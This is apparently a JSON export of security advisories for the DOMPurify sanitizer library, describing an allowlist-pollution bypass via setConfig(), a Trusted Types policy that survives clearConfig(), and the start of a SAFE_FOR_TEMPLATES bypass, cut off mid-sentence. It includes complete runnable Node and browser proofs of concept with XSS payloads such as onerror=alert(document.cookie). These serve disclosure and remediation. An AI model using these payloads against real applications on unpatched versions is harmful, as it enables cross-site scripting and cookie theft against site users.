elements.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-07-21T19:41:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4","https://github.com/cure53/DOMPurify/pull/1537","https://github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197","https://github.com/cure53/DOMPurify/releases/tag/3.4.12","https://nvd.nist.gov/vuln/detail/CVE-2026-66010","https://www.vulncheck.com/advisories/dompurify-before-hook-bypass-via-custom-element-handling","https://github.com/advisories/GHSA-c2j3-45gr-mqc4"],"source_kind":"github","identifiers":["GHSA-c2j3-45gr-mqc4","CVE-2026-66010"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T20:00:09.145Z","updated_at":"2026-10-26T21:02:05.384Z","epss_percentage":0.00215,"epss_percentile":0.11828,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMmozLTQ1Z3ItbXFjNM4ABfJV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jMmozLTQ1Z3ItbXFjNM4ABfJV","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.12","vulnerable_version_range":"\u003c= 3.4.11"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMmozLTQ1Z3ItbXFjNM4ABfJV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jbXdoLXB2eHAtODg4Ms4ABZFw","url":"https://github.com/advisories/GHSA-cmwh-pvxp-8882","title":"DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)","description":"## Summary\n\nDOMPurify 3.4.7 shipped a security fix (\"permanent hook pollution\") that makes a registered `uponSanitizeAttribute` hook's mutation of `data.allowedAttributes` **non-persistent** — so allowing an attribute for one element does not leak into later `sanitize()` calls. The fix clones `ALLOWED_ATTR` inside `_parseConfig`.\n\nThat guard is **silently bypassed whenever the application uses the persistent-config API `DOMPurify.setConfig()`.** `setConfig()` sets the module flag `SET_CONFIG = true`, which causes `sanitize()` to **skip `_parseConfig` entirely** — and the clone-guard lives inside `_parseConfig`. The hook is then handed the **live, shared `ALLOWED_ATTR` object**; any `data.allowedAttributes[name] = true` it writes mutates that shared object **permanently**, for the lifetime of the DOMPurify instance, across every subsequent call, and across **all** elements.\n\nIf an application uses `setConfig()` together with an `uponSanitizeAttribute` hook that conditionally allows a dangerous attribute (`onerror`, `onclick`, `onmouseover`, `srcdoc`, `formaction`, …) for \"trusted\" elements, then **one trusted render permanently allows that attribute on untrusted, attacker-controlled content** — yielding stored XSS in viewers' browsers. DOMPurify applies no separate `/^on/` event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.\n\n---\n\n## Affected configuration (preconditions)\n\nThe vulnerability is triggered when an application does **both**:\n\n1. Calls `DOMPurify.setConfig(...)` once (the recommended pattern for a fixed, persistent policy), **and**\n2. Registers an `uponSanitizeAttribute` hook that writes `data.allowedAttributes[name] = true` to conditionally allow an attribute (e.g. only for elements bearing a trust marker).\n\nThis hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.\n\n---\n\n## Root cause (source: `src/purify.ts`, v3.4.10)\n\nThe 3.4.7 clone-guard — only inside `_parseConfig`:\n\n```\n// src/purify.ts  _parseConfig()  (lines ~950-968)\n// \"if a hook is registered AND the set still points at the default constant, clone it.\n//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original.\"\nif ( ... \u0026\u0026 hooks.uponSanitizeAttribute.length \u003e 0) {\n  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961\n}\nif ( ... hooks.uponSanitizeAttribute.length \u003e 0 ... ) {\n  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968\n}\n```\n\n`sanitize()` skips `_parseConfig` on the persistent-config path:\n\n```\n// src/purify.ts  DOMPurify.sanitize()  (line 2369)\nif (!SET_CONFIG) {\n  _parseConfig(cfg);          // \u003c-- clone-guard lives in here; SKIPPED when SET_CONFIG is true\n}\n```\n\n`setConfig()` sets the flag that disables the guard:\n\n```\n// src/purify.ts  (lines 2596-2598)\nDOMPurify.setConfig = function (cfg = {}) {\n  _parseConfig(cfg);\n  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig\n};\n```\n\nThe hook is handed the **live** allowlist binding, and there is no secondary event-handler defense:\n\n```\n// src/purify.ts (line 2088) — hook event exposes the shared object by reference\nallowedAttributes: ALLOWED_ATTR,\n// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself\n// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.\n```\n\n**Net:** after `setConfig()`, the clone-guard never runs, so the hook's `allowedAttributes` mutation is a permanent write to the instance's shared `ALLOWED_ATTR`.\n\n---\n\n## Proof of Concept\n\nEnvironment: `npm i dompurify@3.4.10 jsdom` (Node; identical mechanism to `isomorphic-dompurify`, and to a browser instance).\n\n### PoC 1 — the leak (trusted render permanently allows `onerror` on attacker content)\n\n```js\nconst createDOMPurify = require('dompurify');\nconst { JSDOM } = require('jsdom');\nconst DP = createDOMPurify(new JSDOM('').window);\n\n// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements\nDP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nDP.addHook('uponSanitizeAttribute', (node, data) =\u003e {\n  if (node.getAttribute \u0026\u0026 node.getAttribute('data-trusted') === '1') {\n    data.allowedAttributes['onerror'] = true;        // intended: trusted-only\n  }\n});\n\n// 1) A trusted widget is rendered once\nDP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\"\u003e');\n\n// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance\nconsole.log(DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e'));\n// OUTPUT:  \u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e     \u003c-- onerror SURVIVES -\u003e XSS\n```\n\n### PoC 2 — it is a DOMPurify state-leak, not \"the app allowed `on*`\" (attribute-agnostic)\n\n```js\n// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).\n// The leak is identical -\u003e the defect is a shared-state mutation in DOMPurify,\n// independent of which attribute the hook touches.\nDP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });\nDP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n  if (n.getAttribute \u0026\u0026 n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;\n});\nDP.sanitize('\u003cspan data-trusted=\"1\" title=\"ok\"\u003ex\u003c/span\u003e');\nconsole.log(DP.sanitize('\u003cspan title=\"leaked\"\u003ex\u003c/span\u003e'));   // -\u003e \u003cspan title=\"leaked\"\u003ex\u003c/span\u003e  (leaked)\n```\n\n### PoC 3 — control: WITHOUT `setConfig()` the 3.4.7 guard holds\n\n```js\nconst DP2 = createDOMPurify(new JSDOM('').window);\nDP2.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n  if (n.getAttribute \u0026\u0026 n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n});\nDP2.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nconsole.log(DP2.sanitize('\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));\n// OUTPUT:  \u003cimg src=\"x\"\u003e     \u003c-- onerror correctly STRIPPED. setConfig() is the trigger.\n```\n\n### Persistence (observed)\n\n- The leak **persists after `removeAllHooks()`** — removing the hook does not clean the polluted allowlist.\n- It is **global / cross-element** — a polluted `onmouseover` survives on `\u003ca\u003e` and `\u003cdiv\u003e`, not only the originally-blessed `\u003cimg\u003e`.\n- It persists for the **instance lifetime** (survived 5/5 subsequent default calls).\n- `clearConfig()` **does** restore a clean state (this is the bound of the impact).\n\n---\n\n## Impact\n\nStored XSS. In a long-lived (e.g. server-side / `isomorphic-dompurify`) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no `/^on/` blocklist, a surviving `on*` attribute is final — no secondary control prevents execution. `onerror` on a broken-`src` `\u003cimg\u003e` fires with no user interaction (browser-confirmed; see Validation).\n\n**Per-call `FORBID_ATTR` does not mitigate.** A defensive `sanitize(input, { FORBID_ATTR: ['onerror'] })` is also ignored once `setConfig()` has been called: the per-call config is parsed by `_parseConfig`, which `sanitize()` skips entirely under `SET_CONFIG`. So an application cannot blunt the leak with a per-call denylist — the poisoned `ALLOWED_ATTR` is the sole gate.\n\n---\n\n## Realistic attack scenario\n\nA platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:\n\n1. The app installs a persistent baseline policy via `setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] })`.\n2. It registers an `uponSanitizeAttribute` hook that enables an event handler **only** for admin-vetted elements marked `data-trusted=\"1\"`, intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.\n3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing `\u003cimg src=x onerror=...\u003e` passes sanitization and executes for all viewers.\n\n---\n\n## Remediation\n\nExtend the existing clone-guard to the persistent-config (`SET_CONFIG`) fast-path: when `sanitize()` skips `_parseConfig` but an `uponSanitizeAttribute` hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in `_parseConfig`.\n\n```js\n// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:\nif (!SET_CONFIG) {\n  _parseConfig(cfg);\n} else if (hooks.uponSanitizeAttribute.length \u003e 0) {\n  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would\n  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.\n  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {\n    ALLOWED_ATTR = clone(ALLOWED_ATTR);\n  }\n  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {\n    ALLOWED_TAGS = clone(ALLOWED_TAGS);\n  }\n}\n```\n\n(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of `ALLOWED_ATTR`/`ALLOWED_TAGS` whenever `SET_CONFIG` is true, mirroring the 3.4.7 intent.)\n\nA regression test should reproduce PoC 1 and assert the attacker call returns `\u003cimg src=\"x\"\u003e`. Note the existing 3.4.7 regression test (\"unguarded attribute hook does not poison subsequent default-config calls\") never exercises `setConfig()` — adding a `setConfig` variant closes the gap.\n\n**Application-side mitigation until patched:** prefer `data.keepAttr = true` (per-element, non-persistent) over `data.allowedAttributes[name] = true` inside hooks; or call `DOMPurify.clearConfig()` between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.\n\n---\n\n## Limitations\n\n- Requires the two-part precondition above (persistent `setConfig()` **and** a hook writing `data.allowedAttributes[...]`). Not a default-config bypass.\n- Impact is bounded by `clearConfig()`, which restores a clean state. The earlier-considered \"survives `clearConfig()`\" claim did **not** reproduce and is withdrawn.\n- A position could be adopted to \"use `data.keepAttr=true`, not `allowedAttributes[]`.\" However, the 3.4.7 security fix exists precisely to defend the `allowedAttributes[]` hook pattern in the per-call path; leaving the `setConfig` path unguarded is an incomplete fix of an acknowledged security issue.\n\n## Validation\n\n- **Integrity:** the tested `dompurify@3.4.10` `dist/purify.cjs.js` (md5 `ab0e7b1cde1cbcace0f62b6aac284143`) and browser `dist/purify.min.js` (md5 `b0985f80fa48e6e7b263f8f6a64b779e`) are byte-identical to a freshly `npm pack`-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.\n- **Node (mechanism):** PoCs 1–3 reproduce deterministically; `DOMPurify.isValidAttribute('img','onerror','x')` flips `false → true` after a single trusted render under `setConfig()`, proving the shared attribute gate is poisoned. Leak survives `removeAllHooks()`, is cross-element, persists for the instance lifetime, and is reset only by `clearConfig()`.\n- **Real browser (impact):** in Chrome with DOMPurify 3.4.10, assigning the attacker output to `innerHTML` **executes** the surviving `onerror` (sentinel `window.__fired = [\"ATTACKER-onerror\"]`; `onerror` DOM property is a `function`), with no user interaction. The no-`setConfig` A/B control does not fire — execution is attributable to the `setConfig` leak, not a harness artifact.\n\n---\n\n## Appendix A — Node PoC (complete, runnable)\n\n```js\n// poc.js  —  npm i dompurify@3.4.10 jsdom  \u0026\u0026  node poc.js\nconst createDOMPurify = require('dompurify');\nconst { JSDOM } = require('jsdom');\nconst freshDP = () =\u003e createDOMPurify(new JSDOM('').window);\nconst log = (s) =\u003e console.log(s);\nlog('DOMPurify ' + freshDP().version + '\\n');\n\n// PoC 1 — the leak: trusted render permanently allows onerror on attacker content\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\n  DP.addHook('uponSanitizeAttribute', (node, data) =\u003e {\n    if (node.getAttribute \u0026\u0026 node.getAttribute('data-trusted') === '1') {\n      data.allowedAttributes['onerror'] = true;            // intended: trusted-only\n    }\n  });\n  DP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\"\u003e');            // trusted render\n  const attacker = DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e');  // attacker, no data-trusted\n  log('[PoC1] attacker output  : ' + attacker);\n  log('[PoC1] onerror survived : ' + /onerror/.test(attacker));\n  log('[PoC1] isValidAttribute(img,onerror) -\u003e ' + DP.isValidAttribute('img','onerror','x') + '  (shared gate poisoned)\\n');\n}\n\n// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not \"the app allowed on*\"\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });\n  DP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;\n  });\n  DP.sanitize('\u003cspan data-trusted=\"1\" title=\"ok\"\u003ex\u003c/span\u003e');\n  log('[PoC2] benign title leaks: ' + DP.sanitize('\u003cspan title=\"leaked\"\u003ex\u003c/span\u003e') + '\\n');\n}\n\n// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds\n{\n  const DP = freshDP();\n  DP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n  });\n  DP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });\n  const ctrl = DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });\n  log('[PoC3] control output   : ' + ctrl + '   stripped: ' + !/onerror/.test(ctrl) + '\\n');\n}\n\n// Persistence: survives removeAllHooks(); reset only by clearConfig()\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\n  DP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n  });\n  DP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e');\n  DP.removeAllHooks();\n  let leaks = 0;\n  for (let i = 0; i \u003c 5; i++) if (/onerror/.test(DP.sanitize('\u003cimg src=\"x\" onerror=\"alert('+i+')\"\u003e'))) leaks++;\n  log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');\n  DP.clearConfig();\n  log('[persist] after clearConfig(): ' + DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e') + '  (reset)');\n}\n```\n\nExpected output:\n```\n[PoC1] attacker output  : \u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e\n[PoC1] onerror survived : true\n[PoC1] isValidAttribute(img,onerror) -\u003e true  (shared gate poisoned)\n[PoC2] benign title leaks: \u003cspan title=\"leaked\"\u003ex\u003c/span\u003e\n[PoC3] control output   : \u003cimg src=\"x\"\u003e   stripped: true\n[persist] survived 5/5 calls after removeAllHooks()\n[persist] after clearConfig(): \u003cimg src=\"x\"\u003e  (reset)\n```\n\n## Appendix B — Browser PoC (complete; confirms execution)\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003cmeta charset=\"utf-8\"\u003e\n\u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\u003cbody\u003e\u003cpre id=\"out\"\u003e\u003c/pre\u003e\n\u003cscript\u003e\nconst log = (s) =\u003e document.getElementById('out').textContent += s + '\\n';\nwindow.__fired = [];\nwindow.alert = (x) =\u003e window.__fired.push('alert:' + x);   // sentinel: capture exec, no modal\nlog('DOMPurify ' + DOMPurify.version);\n\n// App init: persistent policy + a hook allowing onerror ONLY for trusted elements\nDOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nDOMPurify.addHook('uponSanitizeAttribute', (node, data) =\u003e {\n  if (node.getAttribute \u0026\u0026 node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;\n});\n\nDOMPurify.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"0\"\u003e');                 // one trusted render\nconst out = DOMPurify.sanitize('\u003cimg src=\"x\" onerror=\"alert(\\'XSS:\\'+document.domain)\"\u003e');  // attacker\nlog('attacker sanitized output: ' + out);\nconst host = document.createElement('div');\nhost.innerHTML = out;                            // surviving onerror arms on the broken-src img\ndocument.body.appendChild(host);\n\nsetTimeout(() =\u003e {\n  log('handlers fired: ' + JSON.stringify(window.__fired));\n  log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');\n}, 500);\n\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\nObserved: `handlers fired: [\"alert:XSS:\u003cdomain\u003e\"]` → **RESULT: XSS EXECUTED** (no user interaction). The same harness without the `setConfig()` line strips `onerror` and does not fire.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-18T14:27:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882","https://github.com/cure53/DOMPurify/pull/1482","https://github.com/cure53/DOMPurify/commit/011bc3b2fcc4be17aa76f9030e8668207717acb9","https://github.com/cure53/DOMPurify/releases/tag/3.4.11","https://github.com/advisories/GHSA-cmwh-pvxp-8882"],"source_kind":"github","identifiers":["GHSA-cmwh-pvxp-8882","CVE-2026-65898"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T15:00:09.311Z","updated_at":"2026-10-24T21:02:36.820Z","epss_percentage":0.00212,"epss_percentile":0.10965,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jbXdoLXB2eHAtODg4Ms4ABZFw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jbXdoLXB2eHAtODg4Ms4ABZFw","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.11","vulnerable_version_range":"\u003c= 3.4.10"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jbXdoLXB2eHAtODg4Ms4ABZFw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12eHI4LWZxMzQtdnZ4Oc4ABYsI","url":"https://github.com/advisories/GHSA-vxr8-fq34-vvx9","title":"DOMPurify: Trusted Types policy survives `clearConfig()` and can poison later `RETURN_TRUSTED_TYPE` output","description":"## Impact\n\nA DOMPurify instance that is reused across trust boundaries can stay bound to a previously supplied `TRUSTED_TYPES_POLICY` even after `clearConfig()` is called. A later caller that requests `RETURN_TRUSTED_TYPE` receives a `TrustedHTML` object created by the old policy, not by a clean default configuration.\n\nIf the old policy is unsafe or controlled by a less-trusted integration, this turns a later \"default\" sanitize call into script execution at a Trusted Types sink. `TRUSTED_TYPES_POLICY: null` on the later call also does not clear the retained policy.\n[dompurify-trusted-types-policy-survives-clearconfig-poc.js](https://github.com/user-attachments/files/28604913/dompurify-trusted-types-policy-survives-clearconfig-poc.js)\n\n\n## Affected version\n\nTested against DOMPurify `3.4.8`, repository commit `825e617753ac1169306a542d3174a77f717a0cf6`.\n\n## Root cause\n\n`_parseConfig()` overwrites `trustedTypesPolicy` when `cfg.TRUSTED_TYPES_POLICY` is truthy, but the default/null path only initializes the internal policy when `trustedTypesPolicy === undefined`. Once a custom policy has been set, later default config parsing leaves it in place.\n\nRelevant code:\n\n- `src/purify.ts:786-812` accepts and stores `cfg.TRUSTED_TYPES_POLICY`.\n- `src/purify.ts:813-832` does not reset an existing policy when config has no policy or has `TRUSTED_TYPES_POLICY: null`.\n- `src/purify.ts:2123-2125` signs the final serialized HTML with the retained policy when `RETURN_TRUSTED_TYPE` is true.\n- `src/purify.ts:2133-2136` `clearConfig()` only clears `CONFIG` and `SET_CONFIG`; it does not reset `trustedTypesPolicy` or `emptyHTML`.\n\n## Local PoC\n\nRun from the DOMPurify checkout, or set `DOMPURIFY_REPO`:\n\n```bash\nnode /home/dompurify-trusted-types-policy-survives-clearconfig-poc.js\n```\n\nObserved output:\n\n```json\n{\n  \"result\": {\n    \"baseline\": \"\u003cb\u003ebaseline\u003c/b\u003e\",\n    \"duringPolicy\": \"\u003cimg src=x onerror=alert(\\\"TT_POLICY_SURVIVED_CLEARCONFIG\\\")\u003e\",\n    \"afterClearString\": \"\u003cimg src=\\\"x\\\"\u003e\",\n    \"afterClearTrustedType\": \"[object TrustedHTML]\",\n    \"afterClearTrusted\": \"\u003cimg src=x onerror=alert(\\\"TT_POLICY_SURVIVED_CLEARCONFIG\\\")\u003e\",\n    \"afterNullTrusted\": \"\u003cimg src=x onerror=alert(\\\"TT_POLICY_SURVIVED_CLEARCONFIG\\\")\u003e\",\n    \"mountedHTML\": \"\u003cimg src=\\\"x\\\" onerror=\\\"alert(\u0026quot;TT_POLICY_SURVIVED_CLEARCONFIG\u0026quot;)\\\"\u003e\"\n  },\n  \"dialogs\": [\n    \"TT_POLICY_SURVIVED_CLEARCONFIG\"\n  ]\n}\n```\n\nThe important part is the split behavior after cleanup:\n\n- `purify.clearConfig(); purify.sanitize(...);` returns a normal sanitized string (`\u003cimg src=\"x\"\u003e`), because the later call is not asking for a Trusted Type.\n- `purify.clearConfig(); purify.sanitize(..., { RETURN_TRUSTED_TYPE: true });` still uses the old policy and returns attacker-controlled `TrustedHTML`.\n- Passing `{ TRUSTED_TYPES_POLICY: null, RETURN_TRUSTED_TYPE: true }` also still returns attacker-controlled `TrustedHTML`.\n\n## Preconditions\n\nThis is a shared-instance state contamination issue. It matters when one DOMPurify instance is reused by multiple integrations, plugins, request handlers, or components with different trust levels, and a cleanup step relies on `clearConfig()` to restore safe defaults.\n\nThis is not a default string-input bypass. An attacker must be able to influence a prior `TRUSTED_TYPES_POLICY` on the reused instance, or a less-trusted integration must have installed an unsafe policy.\n\n## Severity\n\n impact is XSS at a Trusted Types sink in applications that reuse a DOMPurify instance across trust boundaries. Attack complexity is high because exploitation depends on prior policy injection or a less-trusted integration and a later `RETURN_TRUSTED_TYPE` sink.\n\n## Suggested fix\n\nMake `clearConfig()` reset Trusted Types state as part of restoring defaults, or have `_parseConfig()` explicitly clear `trustedTypesPolicy` and `emptyHTML` when `TRUSTED_TYPES_POLICY: null` is supplied.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-15T20:12:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-vxr8-fq34-vvx9","https://github.com/advisories/GHSA-vxr8-fq34-vvx9"],"source_kind":"github","identifiers":["GHSA-vxr8-fq34-vvx9","CVE-2026-65899"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T21:00:08.604Z","updated_at":"2026-10-26T21:02:58.685Z","epss_percentage":0.00413,"epss_percentile":0.3525,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12eHI4LWZxMzQtdnZ4Oc4ABYsI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12eHI4LWZxMzQtdnZ4Oc4ABYsI","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.9","vulnerable_version_range":"\u003c 3.4.9"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12eHI4LWZxMzQtdnZ4Oc4ABYsI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ndm1qLWcyNXItcjd3cs4ABYr6","url":"https://github.com/advisories/GHSA-gvmj-g25r-r7wr","title":"DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside \u003ctemplate\u003e content when using DOM output modes","description":"## Summary\n\nWhen DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or `\u003c%evil%\u003e`, that survive the sanitization pass inside `\u003ctemplate\u003e` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content.\n\n\u003e **Note:** The string output path is **not** affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable.\n\n---\n\n## Description\n\n### Background\n\n`SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `\u003c% %\u003e` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:\n\n1. **Per-node scrubbing** (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk.\n2. **Final normalization pass** (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.\n\n### The Gap\n\n`_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body:\n\n```ts\n// src/purify.ts:1117\nconst walker = createNodeIterator.call(\n  node.ownerDocument || node,\n  node,\n  NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,\n  null\n);\n```\n\nPer the DOM specification, a `NodeIterator` does **not** descend into `\u003ctemplate\u003e.content`. The template element's content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also **does not** normalize text nodes inside `\u003ctemplate\u003e.content`.\n\nThis means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `\u003ctemplate\u003e` content.\n\n### How Split Text Nodes Are Created\n\nWhen DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element's text children into the parent node. This is the standard code path at `src/purify.ts:1361–1373`:\n\n```ts\nif (KEEP_CONTENT \u0026\u0026 !FORBID_CONTENTS[tagName]) {\n  const parentNode = getParentNode(currentNode);\n  const childNodes = getChildNodes(currentNode);\n  if (childNodes \u0026\u0026 parentNode) {\n    for (let i = childCount - 1; i \u003e= 0; --i) {\n      const childClone = cloneNode(childNodes[i], true);\n      parentNode.insertBefore(childClone, getNextSibling(currentNode));\n    }\n  }\n}\n```\n\nIf the removed elements were adjacent siblings inside `\u003ctemplate\u003e` content, their extracted text nodes end up as **adjacent text nodes** in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified.\n\nThe code comment at `src/purify.ts:1100` explicitly acknowledges the threat class:\n\n\u003e *\"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework.\"*\n\nThe implementation guards against this on the main body, but the guard is **not** applied to `\u003ctemplate\u003e` content.\n\n---\n\n## Proof of Concept\n\n### Why the Split Works\n\nThe bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:\n\n| Fragment | Against `TMPLIT_EXPR` `/\\${[\\w\\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\\w\\W]*\\|^[\\w\\W]*}}/g` | Result |\n|---|---|---|---|\n| `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** |\n| `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** |\n| `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole |\n\nDOMPurify only sees 